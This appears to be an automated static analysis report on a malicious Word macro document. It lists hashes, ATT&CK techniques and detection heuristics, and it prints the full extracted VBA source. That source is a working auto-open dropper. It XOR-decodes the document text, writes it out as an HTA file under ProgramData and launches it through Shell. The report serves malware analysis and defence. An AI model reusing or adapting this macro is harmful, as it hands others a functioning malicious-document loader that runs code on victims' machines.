Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 32a4f567ee6069a9…

MALICIOUS

Office (OOXML)

49.9 KB Created: 2021-06-15 10:33:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-20
MD5: 822ee1af5fd7a6c49b208ce1cf734b7a SHA-1: 0f3a1a15af892c513692b15116b5feea8f8ee9ba SHA-256: 32a4f567ee6069a91f9ba6ac65c4f01a44b5fbcbb57129c1b5a6446d57125808
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros with an AutoOpen function that executes a shell command. This command constructs a path to save a file named 'nextException.ht' in the program data directory. The script also appears to download content from a URL, though the URL itself is obfuscated and not directly extractable from the provided evidence. The use of Shell() and AutoOpen indicates a malicious intent to execute arbitrary code.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1228 bytes
SHA-256: ac940a9ac14ee205e5ba12f9324b56b481fe4fe716837778f830cdbd3dd1c41d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "ctrlTableLoad"
Function sinWindowSz()
sinWindowSz = Shell(cSinSel("c:\\windows\\explorer "), vbNormalFocus)
End Function

Attribute VB_Name = "objectProcedureSz"
Sub autoopen()
viewLnkLocal
pasteIndexListbox = sinWindowSz
End Sub
Function cSinSel(libOptAfter, Optional valueSelect = "c:\program", Optional ctrlConvert = "a")
cSinSel = libOptAfter & valueSelect & "data\nextException.ht" & ctrlConvert
End Function
Function datConstIterator(arr As Variant)
Dim out As String
out = ""
For cnt = 1 To UBound(arr)
out = out & Chr(arr(cnt) Xor 10)
Next
datConstIterator = out
End Function

Attribute VB_Name = "databaseArrOption"
Sub viewLnkLocal()
Open cSinSel("") For Output As #1
Print #1, requestSinGlob
Close #1
End Sub
Function requestSinGlob()
requestSinGlob = datConstIterator(Split(constByte, "-"))
End Function
Function constByte()
constByte = ActiveDocument.Range.Text
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 17408 bytes
SHA-256: d8ec69c81a717e72bacb468b6ac04455cacf8c0f6d81007f7060e0b05c4fa9e2

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